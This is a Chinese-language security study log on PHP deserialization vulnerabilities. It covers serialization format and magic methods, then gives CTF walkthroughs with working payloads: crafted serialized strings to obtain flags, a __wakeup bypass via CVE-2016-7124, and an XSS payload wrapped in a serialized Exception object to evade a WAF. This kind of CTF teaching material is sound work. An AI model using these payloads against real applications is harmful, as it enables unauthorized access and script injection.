20260407网安学习日志——序列化漏洞

序列化漏洞

所谓序列化,就是将⼀个变量的数据转换为字符串(但是与类型转换不同)。其⽬的是将该字符串存储起来(存为⽂本⽂件),当在其他环境上运⾏时,可以通过反序列化,将其恢复。(⼀般⽤在数据需要存储的地⽅)

复制代码
serialize()         // 将⼀个对象转换成⼀个字符串 
​
unserialize()       // 将字符串还原成⼀个对象

一、无类序列化

(一)案例

复制代码
1.php
​
<?php 
error_reporting(0); 
include "flag.php"; 
$KEY = "derry"; 
$str = $_GET['x']; 
if(unserialize($str)===$KEY) 
{ 
echo "$flag" ."</br>";  
} 
show_source(__FILE__); 
?>
复制代码
flag.php
​
<?php 
$flag ='this flag'; 
?>

思路

从1.php的代码中判断将derry进行序列化,

复制代码
s:5:"derry";

然后在做拼接http://127.0.0.1/1.php?x=s:5:%22derry%22;

(二)案例

复制代码
ctf1
​
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
 show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{ 
 echo "$flag";
}
else
{
?>
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 <title>Login</title>
 <link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body><br>
 <div class="container" align="center">
 <form method="POST" action="#">
 <p><input name="user" type="text" placeholder="Username"></p>
 <p><input name="password" type="password" placeholder="Passwor
d"></p>
 <p><input value="Login" type="button" /></p>
 </form>
 </div>
</body>
</html>
<?php
}
$KEY = 'ISecer:www.isecer.com';
?>
复制代码
浏览代码发现关键字段,可以bp抓包
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
 show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
​
最后也提到了key,但是根据代码执行逻辑,这句话其实并没有被执行,是误导项会加大任务量
$KEY = 'ISecer:www.isecer.com';
所以key其实是个空值

抓包时候要注意:需要输入账号密码后点登录抓到的包和直接访问抓到的包是不一样的

Cookie: ISecer=s:0:"";

复制代码
GET /ctf1.php HTTP/1.1 
​
Host: localhost 
​
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 F 
​
irefox/52.0 
​
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
​
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
​
Accept-Encoding: gzip, deflate 
​
Cookie: ISecer=s:0:""; 
​
DNT: 1 
​
Connection: close 
​
Upgrade-Insecure-Requests: 1

即可成功拿到fiag

二、类序列化(需要映射)

复制代码
案例2.php
<?php 
class Person{
 public $name = 'derry';
 public $age = 18;
}
$p = new Person();
$obj = serialize($p);
print_r($obj);
?>
复制代码
O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}

O=object

6=Person长度是6

2=两个属性(name:derry、age:18)

i=int整型

复制代码
<?php 
$clz = 'O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}';
print_r(unserialize($clz));
?>

这样写反序列化不完整失败,需要映射,修改为

<?php 
class Person{
 public $name = 'derry';
 public $age = 18;
}
$clz = 'O:6:"Person":2:{s:4:"name";s:8:"derry666";s:3:"age";i:18;}';
$per = unserialize($clz);
print_r($clz);
echo "</br>";
echo $per->name;
echo "</br>";
echo $per->age;
?>

三、魔术方法

*重点(一)__construct

这是一个构造函数方法,当一个对象被创建时自动调用。function __construct()

*重点(二)__destruct

这是一个析构函数方法,当一个对象被销毁时自动调用。function __destruct()

(三)__sleep

当我们将一个对象序列化为字符串时调用。function __sleep()

*重点(四)__wakeup

当我们将一个对象反序列化为字符串时调用。function __wakeup()

(五)__get

当我们尝试访问一个不存在的私有属性时被调用。function __get()

(六)__set

当我们尝试设置一个不存在的私有属性时被调用。function __set()

(七)__call

当我们尝试调用一个不存在未定义的方法时被调用。function __call()

(八)__callStatic

当我们尝试调用一个不存在的静态方法时被调用。function __callStatic()

(九)__toString

当我们尝试以字符串的形式输出一个对象时被调用。function __toString()

(十)__clone

用于对象的克隆操作。使用关键字cione复制一个对象时被调用。可以复制对象的属性或者执行其他必要操作。function __clone()

(十一)__isset

当对不可访问属性调用isset()或empty()时被调用。function __isset()

(十二)__unset

当对不可访问属性调用unset()时被调用。function __unset()

(十三)__invoke

将对象当函数时会执行这个方法,不建议这么用。

四、CTF真题解析

(一)2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz

1.搭建靶场

复制代码
NewFlag.php

<?php
class NewFlag {
 public static function getFlag($fileName) {
 $res = "flag error";
 if($fileName ==="NewFlag.php") {
 $res = "flag:{this is flag}";
 }
 return $res;
 }
}
?>
复制代码
ctf2.php

<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {
 protected $op;
 protected $filename;
 protected $content;
 // 表⾯上 在这⾥,其实没⽤,因为根本没有机会调⽤到这⾥
 function __construct() {
 $op = "1";
 $filename = "tmpfile";
 $content = "Hello World!";
 $this->process();
 }
 public function process() {
 if($this->op == "1") {
 $this->write();
 } else if($this->op == "2") {
 $res = $this->read();
 $this->output($res);
 } else {
 $this->output("Bad Hacker!");
 }
 }
 private function write() {
 if(isset($this->filename) && isset($this->content)) {
 if(strlen((string)$this->content) > 100) {
 $this->output("Too long!");
 die();
 }
 $res = file_put_contents($this->filename, $this->content);
 if($res) $this->output("Successful!");
 else $this->output("Failed!");
 } else {
 $this->output("Failed!");
 }
 }
 private function read() {
 $res = "";
 if(isset($this->filename)) {
 $res = NewFlag::getFlag($this->filename);
 }
 return $res;
 }
 private function output($s) {
 echo "[Result]: <br>";
 echo $s;
 }
 function __destruct() {
 if($this->op === "2")
 $this->op = "1";
 $this->content = "";
 $this->process();
 }
}
function is_valid($s) {
 for($i = 0; $i < strlen($s); $i++)
 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
 return false;
 return true;
}
【这个是 ⼊⼝ 重点 重点分析此处】
if(isset($_GET{'str'})) {
 $str = (string)$_GET['str'];
 if(is_valid($str)) {
 $obj = unserialize($str); // 我们 思路 的 猜想,以为是调⽤ __wakeup函数
 }
}
?>

2.分析代码构造数据

复制代码
<?php
class FileHandler {
 public $op=" 2";
 public $filename="NewFlag.php";
 public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>

https://www.jyshare.com/compile/1/

3.夺旗

运用在线工具进行序列化,然后访问

http://127.0.0.1/ctf2.php?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:11:%22NewFlag.php%22;s:7:%22content%22;s:2:%22cs%22;}

即成功拿到flag

(二)[极客大挑战 2019]PHP

1.搭建靶场

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]PHP

2.思路

(1)

网址好像是随机变化的,找一下他的子目录,7kbscan扫描(扫描前匹配一下字典)

经过扫描找到一个压缩包

http://6af3379f-d327-453e-96ea-352dc252c0dd.node5.buuoj.cn:81/www.zip

(2)

下载了解压看看,发现index.php(任何网站访问第一步都会默认激活index),所以直接分析index

复制代码
<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>
<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

发现入口

复制代码
 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
 ?>
(3)

需要找select的序列化码。与之相关联的是class.php。分析class.php

复制代码
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

这个的核心是要绕过function __wakeup(),进入if终止程序。

原理是到最后username === 'admin'进入if终止了程序,但是在之前会通过function __wakeup()反序列化为字符串使username 永远会返回'guest',不会赋值为'admin'。

只要function __wakeup()不执行就会顺利进入if

(4)

CVE-2016-7124漏洞

影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

漏洞原因:

如果存在 wakeup方法,调用unserilize()方法前则先调用wakeup()方法,但是序列化字符串中表示对象属性个数 ⼤于真实的属性个数时,会跳过__wakeup的执⾏

(5)

先将class.php分析出来的进行序列化

复制代码
<?php
class Name{
  private $username = "admin";
  private $password = 100;
}
$n = new Name();
echo serialize($n);
?>
复制代码
序列化后
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

先让对象属性个数 ⼤于真实的属性个数,修改为
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

属性前加%00Name%00,有几个属性就要加几个(案例中有username和password两个)
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

加 %00Name%00 才有⽤,本质是因为 ⽬标系统的 Name 类中,username 和 password 属性是 protected 或 private,⽽⾮ public

public也需要加,都需要加, 是 系统的内置类中,规定的。 习惯就是,序列化执⾏有问题,再增 加%00Name%00 试试

(6)

最后得到

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

拼接到在线地址访问,不要访问本地

http://6af3379f-d327-453e-96ea-352dc252c0dd.node5.buuoj.cn:81/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

(三)CTF---XSS

1.搭建靶场

复制代码
ctf_xss.php

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

2.思路

直接给弹窗进行序列化

但是有时候会遭到蓝队的拦截,这时候就需要,使用原生类绕过安全狗

例如:Exception

复制代码
<?php
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));
?>
复制代码
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

然后拼接访问

127.0.0.1/ctf_xss.php?k=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

3.可以使⽤下⾯代码查看有哪些原⽣类

复制代码
clz.php

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 
相关推荐
何如呢2 小时前
FPGA初学习2
学习
头疼的程序员2 小时前
计算机网络:自顶向下方法(第七版)第八章 学习分享(二)
学习·计算机网络
CHANG_THE_WORLD2 小时前
演示宽度数组解析
linux·服务器·前端
天渺工作室2 小时前
Nuxt导航网站免费模板,用Nuxt复刻OneNav资源导航站
前端·nuxt·资源导航模板
cch89182 小时前
PHP vs Vue.js:后端与前端的终极对比
前端·vue.js·php
世人万千丶2 小时前
开源鸿蒙跨平台Flutter开发:幼儿园成语序列与海马体印迹锚定引擎-突触链式网络渲染架构
学习·flutter·开源·harmonyos·鸿蒙
迷路爸爸1802 小时前
Docker 入门学习笔记 02:基础命令、前后台运行,以及 attach、logs、exec 的区别
笔记·学习·docker
yuhaiqiang2 小时前
【珍藏干货】累计阅读破百万:我如何靠“标题公式”把冷门技术写出爆款的?
前端·后端·程序员
Dovis(誓平步青云)2 小时前
《QT学习第二篇:QT的常用控件属性与按钮、view系列、Label、输入框》
开发语言·qt·学习